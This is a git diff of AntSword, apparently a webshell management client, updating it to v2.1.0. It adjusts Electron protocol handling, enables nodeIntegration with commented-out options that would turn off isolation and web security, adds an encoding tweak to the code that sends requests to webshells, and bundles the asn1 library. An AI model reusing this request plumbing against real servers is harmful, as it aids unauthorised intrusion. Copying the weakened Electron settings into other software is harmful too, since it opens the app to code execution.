diff --git a/CHANGELOG.md b/CHANGELOG.md index 5bf1c64a..831ef921 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -1,6 +1,7 @@ # 更新日志 > 有空会补补BUG、添添新功能。 > 同时也欢迎大家的参与!感谢各位朋友的支持! .TAT. + ## `v(2.0.7.3) * 主窗口增加 CSP 策略 diff --git a/README.md b/README.md index f888c6d3..3f12da8b 100644 --- a/README.md +++ b/README.md @@ -1,4 +1,4 @@ -# AntSword [![release](https://img.shields.io/badge/release-v2.0.7-blue.svg?style=flat-square)][url-release] +# AntSword [![release](https://img.shields.io/badge/release-v2.1.0-blue.svg?style=flat-square)][url-release] > AntSword in your hands, no worries in your mind! diff --git a/README_CN.md b/README_CN.md index 83fd9067..e9616afa 100644 --- a/README_CN.md +++ b/README_CN.md @@ -1,4 +1,4 @@ -# 中国蚁剑 [![release](https://img.shields.io/badge/release-v2.0.7-blue.svg?style=flat-square)][url-release] +# 中国蚁剑 [![release](https://img.shields.io/badge/release-v2.1.0-blue.svg?style=flat-square)][url-release] > 一剑在手,纵横无忧! diff --git a/app.js b/app.js index 51eace49..a8b5b7ad 100644 --- a/app.js +++ b/app.js @@ -10,6 +10,9 @@ const path = require('path'); const electron = require('electron'); const { app, protocol, BrowserWindow } = require('electron'); +// 注册为标准 scheme, 默认情况下web storage apis (localStorage, sessionStorage, webSQL, indexedDB, cookies) 被禁止访问非标准schemes +protocol.registerStandardSchemes(['ant-views','ant-static','ant-src']); + app .once('ready', () => { /** @@ -22,8 +25,11 @@ app ['src', '/source/', 10] //- 通过访问访问ant-src来访问source 文件 ].map((_) => { protocol.registerFileProtocol(`ant-${_[0]}`, (req, cb) => { + if(req.url.endsWith('/')){ + req.url = req.url.substr(0,req.url.length-1); + } cb({ - path: path.join(__dirname, _[1], req.url.substr(_[2])) + path: path.normalize(path.join(__dirname, _[1], req.url.substr(_[2]))) }); }); }); @@ -32,12 +38,20 @@ app let mainWindow = new BrowserWindow({ width: 1040, height: 699, minWidth: 888, minHeight: 555, - webgl: false, title: 'AntSword' + title: 'AntSword', + webPreferences: { + webgl: false, + javascript: true, + nodeIntegration: true, // 开启 nodejs 支持 + // contextIsolation: false, // 关闭上下文隔离 + // webSecurity: false, + // allowRunningInsecureContent: true, + // sandbox: false, + }, }); // 加载views - mainWindow.loadURL('ant-views://index.html'); - + mainWindow.loadURL('ant-views://front/index.html'); // 调整部分UI const reloadUI = mainWindow.webContents.send.bind( mainWindow.webContents, diff --git a/modules/menubar.js b/modules/menubar.js index f24dfe45..3df05542 100644 --- a/modules/menubar.js +++ b/modules/menubar.js @@ -148,7 +148,7 @@ class Menubar { if (this.electron.BrowserWindow.getAllWindows().length > 1) { return; } - this.mainWindow.webContents.loadURL('ant-views://index.html');//.bind(this.mainWindow.webContents) + this.mainWindow.webContents.loadURL('ant-views://front/index.html');//.bind(this.mainWindow.webContents) } }, { label: LANG['debug']['devtools'], @@ -198,7 +198,7 @@ class Menubar { if (this.electron.BrowserWindow.getAllWindows().length > 1) { return; } - this.mainWindow.webContents.loadURL('ant-views://index.html'); + this.mainWindow.webContents.loadURL('ant-views://front/index.html'); } }, { label: LANG['tray']['about'], diff --git a/modules/request.js b/modules/request.js index 53efc435..9121f7fd 100644 --- a/modules/request.js +++ b/modules/request.js @@ -115,7 +115,11 @@ class Request { let _postarr = []; for(var key in _postData){ if(_postData.hasOwnProperty(key)){ - _postarr.push(`${key}=${encodeURIComponent(_postData[key])}`); + let _tmp = encodeURIComponent(_postData[key]) + .replace(/asunescape\((.+?)\)/g, function($, $1){ + return unescape($1); + }); // 后续可能需要二次处理的在这里追加 + _postarr.push(`${key}=${_tmp}`); } } let antstream = new AntRead(_postarr.join("&"), {'step': parseInt(opts['chunkStepMin']), 'stepmax': parseInt(opts['chunkStepMax'])}); @@ -130,7 +134,7 @@ class Request { this.parse(opts['tag_s'], opts['tag_e'], (chunk) => { event.sender.send('request-chunk-' + opts['hash'], chunk); }, res, (err, ret)=>{ - let buff = ret ? ret : new Buffer(); + let buff = ret ? ret : Buffer.from(); // 自动猜测编码 let encoding = detectEncoding(buff, {defaultEncoding: "unknown"}); logger.debug("detect encoding:", encoding); @@ -157,10 +161,22 @@ class Request { }else{ // 通过替换函数方式来实现发包方式切换, 后续可改成别的 const old_send = _request.send; + let _postarr = []; if(opts['useMultipart'] == 1) { _request.send = _request.field; + _postarr = _postData; }else{ _request.send = old_send; + for(var key in _postData) { + if(_postData.hasOwnProperty(key)) { + let _tmp = encodeURIComponent(_postData[key]) + .replace(/asunescape\((.+?)\)/g, function($, $1){ + return unescape($1) + }); // 后续可能需要二次处理的在这里追加 + _postarr.push(`${key}=${_tmp}`); + } + } + _postarr = _postarr.join('&'); } _request .proxy(APROXY_CONF['uri']) @@ -169,7 +185,7 @@ class Request { .timeout(opts.timeout || REQ_TIMEOUT) // 忽略HTTPS .ignoreHTTPS(opts['ignoreHTTPS']) - .send(_postData) + .send(_postarr) .parse((res, callback) => { this.parse(opts['tag_s'], opts['tag_e'], (chunk) => { event.sender.send('request-chunk-' + opts['hash'], chunk); @@ -180,7 +196,7 @@ class Request { // 请求失败 TIMEOUT return event.sender.send('request-error-' + opts['hash'], err); } - let buff = ret.hasOwnProperty('body') ? ret.body : new Buffer(); + let buff = ret.hasOwnProperty('body') ? ret.body : Buffer.from(); // 解码 let text = ""; // 自动猜测编码 @@ -257,7 +273,7 @@ class Request { indexStart = tempDataBuffer.indexOf(opts['tag_s']) || 0; // 截取最后的数据 - let finalData = new Buffer(tempDataBuffer.slice( + let finalData = Buffer.from(tempDataBuffer.slice( indexStart + opts['tag_s'].length, indexEnd ), 'binary'); @@ -273,10 +289,21 @@ class Request { }else{ // 通过替换函数方式来实现发包方式切换, 后续可改成别的 const old_send = _request.send; + let _postarr = []; if(opts['useMultipart'] == 1) { _request.send = _request.field; }else{ _request.send = old_send; + for(var key in _postData) { + if(_postData.hasOwnProperty(key)) { + let _tmp = encodeURIComponent(_postData[key]) + .replace(/asunescape\((.+?)\)/g, function($, $1){ + return unescape($1) + }); // 后续可能需要二次处理的在这里追加 + _postarr.push(`${key}=${_tmp}`); + } + } + _postarr = _postarr.join('&'); } _request .proxy(APROXY_CONF['uri']) @@ -285,7 +312,7 @@ class Request { // .timeout(timeout) // 忽略HTTPS .ignoreHTTPS(opts['ignoreHTTPS']) - .send(_postData) + .send(_postarr) .pipe(through( (chunk) => { // 判断数据流中是否包含后截断符?长度++ @@ -301,7 +328,7 @@ class Request { indexStart = tempDataBuffer.indexOf(opts['tag_s']) || 0; // 截取最后的数据 - let finalData = new Buffer(tempDataBuffer.slice( + let finalData = Buffer.from(tempDataBuffer.slice( indexStart + opts['tag_s'].length, indexEnd ), 'binary'); @@ -330,8 +357,8 @@ class Request { res.setEncoding('binary'); res.data = ''; // 2. 把分隔符转换为16进制 - const tagHexS = new Buffer(tag_s).toString('hex'); - const tagHexE = new Buffer(tag_e).toString('hex'); + const tagHexS = Buffer.from(tag_s).toString('hex'); + const tagHexE = Buffer.from(tag_e).toString('hex'); let foundTagS = false; let foundTagE = false; @@ -339,7 +366,7 @@ class Request { // 这样吧,我们尝试一种新的数据截取算法: // 1. 把数据流转换为16进制 - let chunkHex = new Buffer(chunk).toString('hex'); + let chunkHex = Buffer.from(chunk).toString('hex'); // 3. 根据分隔符进行判断截断数据流 let temp = ''; // 如果包含前后截断,则截取中间 @@ -364,7 +391,7 @@ class Request { temp = chunkHex; } // 4. 十六进制还原为二进制 - let finalData = new Buffer(temp, 'hex'); + let finalData = Buffer.from(temp, 'hex'); // 5. 返回还原好的数据 chunkCallBack(finalData); @@ -372,7 +399,7 @@ class Request { }); res.on('end', () => { logger.info(`end.size=${res.data.length}`, res.data); - callback(null, new Buffer(res.data, 'binary')); + callback(null, Buffer.from(res.data, 'binary')); }); } @@ -440,7 +467,7 @@ class AntRead extends Readable { if('string' === typeof data) { chunk = data; }else if('object' === typeof data && Buffer.isBuffer(data)) { // buffer - chunk = new Buffer(data).toString(); + chunk = Buffer.from(data).toString(); }else{ throw Error("data must be string, buffer."); } diff --git a/modules/update.js b/modules/update.js index 58e43fa0..f508d14e 100644 --- a/modules/update.js +++ b/modules/update.js @@ -17,9 +17,39 @@ class Update { this.logger = new electron.Logger('Update'); electron.ipcMain .on('check-update', this.checkUpdate.bind(this)) + .on('check-loader-update', this.checkLoaderUpdate.bind(this)) .on('update-download', this.onDownlaod.bind(this)); } + /** + * 检查 loader 是否需要更新 + * @param {[type]} event + */ + checkLoaderUpdate(event) { + this.logger.debug('checkLoaderUpdate..') + superagent + .get('https://api.github.com/repos/antswordproject/antSword-Loader/releases/latest') + .end((err, ret) => { + try { + let lastInfo = JSON.parse(ret.text); + let newVersion = lastInfo['tag_name']; + let curVersion = process.env.AS_LOADER_VER || '2.0.1'; + // 比对版本 + if (this.CompVersion(curVersion, newVersion)) { + this.logger.info('Found a new loader version', newVersion); + event.sender.send('notification-loader-update', { + ver: newVersion, + url: lastInfo['html_url'] + }); + } else { + this.logger.warn('No new loader version.', newVersion, curVersion); + } + } catch(e) { + this.logger.fatal('ERR', e); + } + }); + } + /** * 检查更新 * 如果有更新,则以通知的方式提示用户手动更新,用户点击跳转到更新页面 diff --git a/node_modules/asn1/LICENSE b/node_modules/asn1/LICENSE new file mode 100644 index 00000000..9b5dcdb7 --- /dev/null +++ b/node_modules/asn1/LICENSE @@ -0,0 +1,19 @@ +Copyright (c) 2011 Mark Cavage, All rights reserved. + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in +all copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +THE SOFTWARE diff --git a/node_modules/asn1/README.md b/node_modules/asn1/README.md new file mode 100644 index 00000000..2208210a --- /dev/null +++ b/node_modules/asn1/README.md @@ -0,0 +1,50 @@ +node-asn1 is a library for encoding and decoding ASN.1 datatypes in pure JS. +Currently BER encoding is supported; at some point I'll likely have to do DER. + +## Usage + +Mostly, if you're *actually* needing to read and write ASN.1, you probably don't +need this readme to explain what and why. If you have no idea what ASN.1 is, +see this: ftp://ftp.rsa.com/pub/pkcs/ascii/layman.asc + +The source is pretty much self-explanatory, and has read/write methods for the +common types out there. + +### Decoding + +The following reads an ASN.1 sequence with a boolean. + + var Ber = require('asn1').Ber; + + var reader = new Ber.Reader(Buffer.from([0x30, 0x03, 0x01, 0x01, 0xff])); + + reader.readSequence(); + console.log('Sequence len: ' + reader.length); + if (reader.peek() === Ber.Boolean) + console.log(reader.readBoolean()); + +### Encoding + +The following generates the same payload as above. + + var Ber = require('asn1').Ber; + + var writer = new Ber.Writer(); + + writer.startSequence(); + writer.writeBoolean(true); + writer.endSequence(); + + console.log(writer.buffer); + +## Installation + + npm install asn1 + +## License + +MIT. + +## Bugs + +See . diff --git a/node_modules/asn1/lib/ber/errors.js b/node_modules/asn1/lib/ber/errors.js new file mode 100644 index 00000000..4557b8ae --- /dev/null +++ b/node_modules/asn1/lib/ber/errors.js @@ -0,0 +1,13 @@ +// Copyright 2011 Mark Cavage All rights reserved. + + +module.exports = { + + newInvalidAsn1Error: function (msg) { + var e = new Error(); + e.name = 'InvalidAsn1Error'; + e.message = msg || ''; + return e; + } + +}; diff --git a/node_modules/asn1/lib/ber/index.js b/node_modules/asn1/lib/ber/index.js new file mode 100644 index 00000000..387d1326 --- /dev/null +++ b/node_modules/asn1/lib/ber/index.js @@ -0,0 +1,27 @@ +// Copyright 2011 Mark Cavage All rights reserved. + +var errors = require('./errors'); +var types = require('./types'); + +var Reader = require('./reader'); +var Writer = require('./writer'); + + +// --- Exports + +module.exports = { + + Reader: Reader, + + Writer: Writer + +}; + +for (var t in types) { + if (types.hasOwnProperty(t)) + module.exports[t] = types[t]; +} +for (var e in errors) { + if (errors.hasOwnProperty(e)) + module.exports[e] = errors[e]; +} diff --git a/node_modules/asn1/lib/ber/reader.js b/node_modules/asn1/lib/ber/reader.js new file mode 100644 index 00000000..8a7e4ca0 --- /dev/null +++ b/node_modules/asn1/lib/ber/reader.js @@ -0,0 +1,262 @@ +// Copyright 2011 Mark Cavage All rights reserved. + +var assert = require('assert'); +var Buffer = require('safer-buffer').Buffer; + +var ASN1 = require('./types'); +var errors = require('./errors'); + + +// --- Globals + +var newInvalidAsn1Error = errors.newInvalidAsn1Error; + + + +// --- API + +function Reader(data) { + if (!data || !Buffer.isBuffer(data)) + throw new TypeError('data must be a node Buffer'); + + this._buf = data; + this._size = data.length; + + // These hold the "current" state + this._len = 0; + this._offset = 0; +} + +Object.defineProperty(Reader.prototype, 'length', { + enumerable: true, + get: function () { return (this._len); } +}); + +Object.defineProperty(Reader.prototype, 'offset', { + enumerable: true, + get: function () { return (this._offset); } +}); + +Object.defineProperty(Reader.prototype, 'remain', { + get: function () { return (this._size - this._offset); } +}); + +Object.defineProperty(Reader.prototype, 'buffer', { + get: function () { return (this._buf.slice(this._offset)); } +}); + + +/** + * Reads a single byte and advances offset; you can pass in `true` to make this + * a "peek" operation (i.e., get the byte, but don't advance the offset). + * + * @param {Boolean} peek true means don't move offset. + * @return {Number} the next byte, null if not enough data. + */ +Reader.prototype.readByte = function (peek) { + if (this._size - this._offset < 1) + return null; + + var b = this._buf[this._offset] & 0xff; + + if (!peek) + this._offset += 1; + + return b; +}; + + +Reader.prototype.peek = function () { + return this.readByte(true); +}; + + +/** + * Reads a (potentially) variable length off the BER buffer. This call is + * not really meant to be called directly, as callers have to manipulate + * the internal buffer afterwards. + * + * As a result of this call, you can call `Reader.length`, until the + * next thing called that does a readLength. + * + * @return {Number} the amount of offset to advance the buffer. + * @throws {InvalidAsn1Error} on bad ASN.1 + */ +Reader.prototype.readLength = function (offset) { + if (offset === undefined) + offset = this._offset; + + if (offset >= this._size) + return null; + + var lenB = this._buf[offset++] & 0xff; + if (lenB === null) + return null; + + if ((lenB & 0x80) === 0x80) { + lenB &= 0x7f; + + if (lenB === 0) + throw newInvalidAsn1Error('Indefinite length not supported'); + + if (lenB > 4) + throw newInvalidAsn1Error('encoding too long'); + + if (this._size - offset < lenB) + return null; + + this._len = 0; + for (var i = 0; i < lenB; i++) + this._len = (this._len << 8) + (this._buf[offset++] & 0xff); + + } else { + // Wasn't a variable length + this._len = lenB; + } + + return offset; +}; + + +/** + * Parses the next sequence in this BER buffer. + * + * To get the length of the sequence, call `Reader.length`. + * + * @return {Number} the sequence's tag. + */ +Reader.prototype.readSequence = function (tag) { + var seq = this.peek(); + if (seq === null) + return null; + if (tag !== undefined && tag !== seq) + throw newInvalidAsn1Error('Expected 0x' + tag.toString(16) + + ': got 0x' + seq.toString(16)); + + var o = this.readLength(this._offset + 1); // stored in `length` + if (o === null) + return null; + + this._offset = o; + return seq; +}; + + +Reader.prototype.readInt = function () { + return this._readTag(ASN1.Integer); +}; + + +Reader.prototype.readBoolean = function () { + return (this._readTag(ASN1.Boolean) === 0 ? false : true); +}; + + +Reader.prototype.readEnumeration = function () { + return this._readTag(ASN1.Enumeration); +}; + + +Reader.prototype.readString = function (tag, retbuf) { + if (!tag) + tag = ASN1.OctetString; + + var b = this.peek(); + if (b === null) + return null; + + if (b !== tag) + throw newInvalidAsn1Error('Expected 0x' + tag.toString(16) + + ': got 0x' + b.toString(16)); + + var o = this.readLength(this._offset + 1); // stored in `length` + + if (o === null) + return null; + + if (this.length > this._size - o) + return null; + + this._offset = o; + + if (this.length === 0) + return retbuf ? Buffer.alloc(0) : ''; + + var str = this._buf.slice(this._offset, this._offset + this.length); + this._offset += this.length; + + return retbuf ? str : str.toString('utf8'); +}; + +Reader.prototype.readOID = function (tag) { + if (!tag) + tag = ASN1.OID; + + var b = this.readString(tag, true); + if (b === null) + return null; + + var values = []; + var value = 0; + + for (var i = 0; i < b.length; i++) { + var byte = b[i] & 0xff; + + value <<= 7; + value += byte & 0x7f; + if ((byte & 0x80) === 0) { + values.push(value); + value = 0; + } + } + + value = values.shift(); + values.unshift(value % 40); + values.unshift((value / 40) >> 0); + + return values.join('.'); +}; + + +Reader.prototype._readTag = function (tag) { + assert.ok(tag !== undefined); + + var b = this.peek(); + + if (b === null) + return null; + + if (b !== tag) + throw newInvalidAsn1Error('Expected 0x' + tag.toString(16) + + ': got 0x' + b.toString(16)); + + var o = this.readLength(this._offset + 1); // stored in `length` + if (o === null) + return null; + + if (this.length > 4) + throw newInvalidAsn1Error('Integer too long: ' + this.length); + + if (this.length > this._size - o) + return null; + this._offset = o; + + var fb = this._buf[this._offset]; + var value = 0; + + for (var i = 0; i < this.length; i++) { + value <<= 8; + value |= (this._buf[this._offset++] & 0xff); + } + + if ((fb & 0x80) === 0x80 && i !== 4) + value -= (1 << (i * 8)); + + return value >> 0; +}; + + + +// --- Exported API + +module.exports = Reader; diff --git a/node_modules/asn1/lib/ber/types.js b/node_modules/asn1/lib/ber/types.js new file mode 100644 index 00000000..8aea0001 --- /dev/null +++ b/node_modules/asn1/lib/ber/types.js @@ -0,0 +1,36 @@ +// Copyright 2011 Mark Cavage All rights reserved. + + +module.exports = { + EOC: 0, + Boolean: 1, + Integer: 2, + BitString: 3, + OctetString: 4, + Null: 5, + OID: 6, + ObjectDescriptor: 7, + External: 8, + Real: 9, // float + Enumeration: 10, + PDV: 11, + Utf8String: 12, + RelativeOID: 13, + Sequence: 16, + Set: 17, + NumericString: 18, + PrintableString: 19, + T61String: 20, + VideotexString: 21, + IA5String: 22, + UTCTime: 23, + GeneralizedTime: 24, + GraphicString: 25, + VisibleString: 26, + GeneralString: 28, + UniversalString: 29, + CharacterString: 30, + BMPString: 31, + Constructor: 32, + Context: 128 +}; diff --git a/node_modules/asn1/lib/ber/writer.js b/node_modules/asn1/lib/ber/writer.js new file mode 100644 index 00000000..3515acf7 --- /dev/null +++ b/node_modules/asn1/lib/ber/writer.js @@ -0,0 +1,317 @@ +// Copyright 2011 Mark Cavage All rights reserved. + +var assert = require('assert'); +var Buffer = require('safer-buffer').Buffer; +var ASN1 = require('./types'); +var errors = require('./errors'); + + +// --- Globals + +var newInvalidAsn1Error = errors.newInvalidAsn1Error; + +var DEFAULT_OPTS = { + size: 1024, + growthFactor: 8 +}; + + +// --- Helpers + +function merge(from, to) { + assert.ok(from); + assert.equal(typeof (from), 'object'); + assert.ok(to); + assert.equal(typeof (to), 'object'); + + var keys = Object.getOwnPropertyNames(from); + keys.forEach(function (key) { + if (to[key]) + return; + + var value = Object.getOwnPropertyDescriptor(from, key); + Object.defineProperty(to, key, value); + }); + + return to; +} + + + +// --- API + +function Writer(options) { + options = merge(DEFAULT_OPTS, options || {}); + + this._buf = Buffer.alloc(options.size || 1024); + this._size = this._buf.length; + this._offset = 0; + this._options = options; + + // A list of offsets in the buffer where we need to insert + // sequence tag/len pairs. + this._seq = []; +} + +Object.defineProperty(Writer.prototype, 'buffer', { + get: function () { + if (this._seq.length) + throw newInvalidAsn1Error(this._seq.length + ' unended sequence(s)'); + + return (this._buf.slice(0, this._offset)); + } +}); + +Writer.prototype.writeByte = function (b) { + if (typeof (b) !== 'number') + throw new TypeError('argument must be a Number'); + + this._ensure(1); + this._buf[this._offset++] = b; +}; + + +Writer.prototype.writeInt = function (i, tag) { + if (typeof (i) !== 'number') + throw new TypeError('argument must be a Number'); + if (typeof (tag) !== 'number') + tag = ASN1.Integer; + + var sz = 4; + + while ((((i & 0xff800000) === 0) || ((i & 0xff800000) === 0xff800000 >> 0)) && + (sz > 1)) { + sz--; + i <<= 8; + } + + if (sz > 4) + throw newInvalidAsn1Error('BER ints cannot be > 0xffffffff'); + + this._ensure(2 + sz); + this._buf[this._offset++] = tag; + this._buf[this._offset++] = sz; + + while (sz-- > 0) { + this._buf[this._offset++] = ((i & 0xff000000) >>> 24); + i <<= 8; + } + +}; + + +Writer.prototype.writeNull = function () { + this.writeByte(ASN1.Null); + this.writeByte(0x00); +}; + + +Writer.prototype.writeEnumeration = function (i, tag) { + if (typeof (i) !== 'number') + throw new TypeError('argument must be a Number'); + if (typeof (tag) !== 'number') + tag = ASN1.Enumeration; + + return this.writeInt(i, tag); +}; + + +Writer.prototype.writeBoolean = function (b, tag) { + if (typeof (b) !== 'boolean') + throw new TypeError('argument must be a Boolean'); + if (typeof (tag) !== 'number') + tag = ASN1.Boolean; + + this._ensure(3); + this._buf[this._offset++] = tag; + this._buf[this._offset++] = 0x01; + this._buf[this._offset++] = b ? 0xff : 0x00; +}; + + +Writer.prototype.writeString = function (s, tag) { + if (typeof (s) !== 'string') + throw new TypeError('argument must be a string (was: ' + typeof (s) + ')'); + if (typeof (tag) !== 'number') + tag = ASN1.OctetString; + + var len = Buffer.byteLength(s); + this.writeByte(tag); + this.writeLength(len); + if (len) { + this._ensure(len); + this._buf.write(s, this._offset); + this._offset += len; + } +}; + + +Writer.prototype.writeBuffer = function (buf, tag) { + if (typeof (tag) !== 'number') + throw new TypeError('tag must be a number'); + if (!Buffer.isBuffer(buf)) + throw new TypeError('argument must be a buffer'); + + this.writeByte(tag); + this.writeLength(buf.length); + this._ensure(buf.length); + buf.copy(this._buf, this._offset, 0, buf.length); + this._offset += buf.length; +}; + + +Writer.prototype.writeStringArray = function (strings) { + if ((!strings instanceof Array)) + throw new TypeError('argument must be an Array[String]'); + + var self = this; + strings.forEach(function (s) { + self.writeString(s); + }); +}; + +// This is really to solve DER cases, but whatever for now +Writer.prototype.writeOID = function (s, tag) { + if (typeof (s) !== 'string') + throw new TypeError('argument must be a string'); + if (typeof (tag) !== 'number') + tag = ASN1.OID; + + if (!/^([0-9]+\.){3,}[0-9]+$/.test(s)) + throw new Error('argument is not a valid OID string'); + + function encodeOctet(bytes, octet) { + if (octet < 128) { + bytes.push(octet); + } else if (octet < 16384) { + bytes.push((octet >>> 7) | 0x80); + bytes.push(octet & 0x7F); + } else if (octet < 2097152) { + bytes.push((octet >>> 14) | 0x80); + bytes.push(((octet >>> 7) | 0x80) & 0xFF); + bytes.push(octet & 0x7F); + } else if (octet < 268435456) { + bytes.push((octet >>> 21) | 0x80); + bytes.push(((octet >>> 14) | 0x80) & 0xFF); + bytes.push(((octet >>> 7) | 0x80) & 0xFF); + bytes.push(octet & 0x7F); + } else { + bytes.push(((octet >>> 28) | 0x80) & 0xFF); + bytes.push(((octet >>> 21) | 0x80) & 0xFF); + bytes.push(((octet >>> 14) | 0x80) & 0xFF); + bytes.push(((octet >>> 7) | 0x80) & 0xFF); + bytes.push(octet & 0x7F); + } + } + + var tmp = s.split('.'); + var bytes = []; + bytes.push(parseInt(tmp[0], 10) * 40 + parseInt(tmp[1], 10)); + tmp.slice(2).forEach(function (b) { + encodeOctet(bytes, parseInt(b, 10)); + }); + + var self = this; + this._ensure(2 + bytes.length); + this.writeByte(tag); + this.writeLength(bytes.length); + bytes.forEach(function (b) { + self.writeByte(b); + }); +}; + + +Writer.prototype.writeLength = function (len) { + if (typeof (len) !== 'number') + throw new TypeError('argument must be a Number'); + + this._ensure(4); + + if (len <= 0x7f) { + this._buf[this._offset++] = len; + } else if (len <= 0xff) { + this._buf[this._offset++] = 0x81; + this._buf[this._offset++] = len; + } else if (len <= 0xffff) { + this._buf[this._offset++] = 0x82; + this._buf[this._offset++] = len >> 8; + this._buf[this._offset++] = len; + } else if (len <= 0xffffff) { + this._buf[this._offset++] = 0x83; + this._buf[this._offset++] = len >> 16; + this._buf[this._offset++] = len >> 8; + this._buf[this._offset++] = len; + } else { + throw newInvalidAsn1Error('Length too long (> 4 bytes)'); + } +}; + +Writer.prototype.startSequence = function (tag) { + if (typeof (tag) !== 'number') + tag = ASN1.Sequence | ASN1.Constructor; + + this.writeByte(tag); + this._seq.push(this._offset); + this._ensure(3); + this._offset += 3; +}; + + +Writer.prototype.endSequence = function () { + var seq = this._seq.pop(); + var start = seq + 3; + var len = this._offset - start; + + if (len <= 0x7f) { + this._shift(start, len, -2); + this._buf[seq] = len; + } else if (len <= 0xff) { + this._shift(start, len, -1); + this._buf[seq] = 0x81; + this._buf[seq + 1] = len; + } else if (len <= 0xffff) { + this._buf[seq] = 0x82; + this._buf[seq + 1] = len >> 8; + this._buf[seq + 2] = len; + } else if (len <= 0xffffff) { + this._shift(start, len, 1); + this._buf[seq] = 0x83; + this._buf[seq + 1] = len >> 16; + this._buf[seq + 2] = len >> 8; + this._buf[seq + 3] = len; + } else { + throw newInvalidAsn1Error('Sequence too long'); + } +}; + + +Writer.prototype._shift = function (start, len, shift) { + assert.ok(start !== undefined); + assert.ok(len !== undefined); + assert.ok(shift); + + this._buf.copy(this._buf, start + shift, start, start + len); + this._offset += shift; +}; + +Writer.prototype._ensure = function (len) { + assert.ok(len); + + if (this._size - this._offset < len) { + var sz = this._size * this._options.growthFactor; + if (sz - this._offset < len) + sz += len; + + var buf = Buffer.alloc(sz); + + this._buf.copy(buf, 0, 0, this._offset); + this._buf = buf; + this._size = sz; + } +}; + + + +// --- Exported API + +module.exports = Writer; diff --git a/node_modules/asn1/lib/index.js b/node_modules/asn1/lib/index.js new file mode 100644 index 00000000..ede3ab23 --- /dev/null +++ b/node_modules/asn1/lib/index.js @@ -0,0 +1,20 @@ +// Copyright 2011 Mark Cavage All rights reserved. + +// If you have no idea what ASN.1 or BER is, see this: +// ftp://ftp.rsa.com/pub/pkcs/ascii/layman.asc + +var Ber = require('./ber/index'); + + + +// --- Exported API + +module.exports = { + + Ber: Ber, + + BerReader: Ber.Reader, + + BerWriter: Ber.Writer + +}; diff --git a/node_modules/asn1/package.json b/node_modules/asn1/package.json new file mode 100644 index 00000000..c0829a2b --- /dev/null +++ b/node_modules/asn1/package.json @@ -0,0 +1,75 @@ +{ + "_from": "asn1@^0.2.4", + "_id": "asn1@0.2.4", + "_inBundle": false, + "_integrity": "sha1-jSR136tVO7M+d7VOWeiAu4ziMTY=", + "_location": "/asn1", + "_phantomChildren": {}, + "_requested": { + "type": "range", + "registry": true, + "raw": "asn1@^0.2.4", + "name": "asn1", + "escapedName": "asn1", + "rawSpec": "^0.2.4", + "saveSpec": null, + "fetchSpec": "^0.2.4" + }, + "_requiredBy": [ + "/node-rsa" + ], + "_resolved": "http://registry.npm.taobao.org/asn1/download/asn1-0.2.4.tgz", + "_shasum": "8d2475dfab553bb33e77b54e59e880bb8ce23136", + "_spec": "asn1@^0.2.4", + "_where": "/Users/medicean/workspace/antSword/node_modules/node-rsa", + "author": { + "name": "Joyent", + "url": "joyent.com" + }, + "bugs": { + "url": "https://github.com/joyent/node-asn1/issues" + }, + "bundleDependencies": false, + "contributors": [ + { + "name": "Mark Cavage", + "email": "mcavage@gmail.com" + }, + { + "name": "David Gwynne", + "email": "loki@animata.net" + }, + { + "name": "Yunong Xiao", + "email": "yunong@joyent.com" + }, + { + "name": "Alex Wilson", + "email": "alex.wilson@joyent.com" + } + ], + "dependencies": { + "safer-buffer": "~2.1.0" + }, + "deprecated": false, + "description": "Contains parsers and serializers for ASN.1 (currently BER only)", + "devDependencies": { + "eslint": "2.13.1", + "eslint-plugin-joyent": "~1.3.0", + "faucet": "0.0.1", + "istanbul": "^0.3.6", + "tape": "^3.5.0" + }, + "homepage": "https://github.com/joyent/node-asn1#readme", + "license": "MIT", + "main": "lib/index.js", + "name": "asn1", + "repository": { + "type": "git", + "url": "git://github.com/joyent/node-asn1.git" + }, + "scripts": { + "test": "tape ./test/ber/*.test.js" + }, + "version": "0.2.4" +} diff --git a/node_modules/node-rsa/README.md b/node_modules/node-rsa/README.md new file mode 100644 index 00000000..619ec9c0 --- /dev/null +++ b/node_modules/node-rsa/README.md @@ -0,0 +1,373 @@ +# Node-RSA + +Node.js RSA library
+Based on jsbn library from Tom Wu http://www-cs-students.stanford.edu/~tjw/jsbn/ + +* Pure JavaScript +* No needed OpenSSL +* Generating keys +* Supports long messages for encrypt/decrypt +* Signing and verifying + +## Example + +```javascript +const NodeRSA = require('node-rsa'); +const key = new NodeRSA({b: 512}); + +const text = 'Hello RSA!'; +const encrypted = key.encrypt(text, 'base64'); +console.log('encrypted: ', encrypted); +const decrypted = key.decrypt(encrypted, 'utf8'); +console.log('decrypted: ', decrypted); +``` + +## Installing + +```shell +npm install node-rsa +``` +> Requires nodejs >= 8.11.1 + +### Testing + +```shell +npm test +``` + +## Work environment + +This library developed and tested primary for Node.js, but it still can work in browsers with [browserify](http://browserify.org/). + +## Usage + +### Create instance +```javascript +const NodeRSA = require('node-rsa'); + +const key = new NodeRSA([keyData, [format]], [options]); +``` + +* keyData — `{string|buffer|object}` — parameters for generating key or the key in one of supported formats.
+* format — `{string}` — format for importing key. See more details about formats in [Export/Import](#importexport-keys) section.
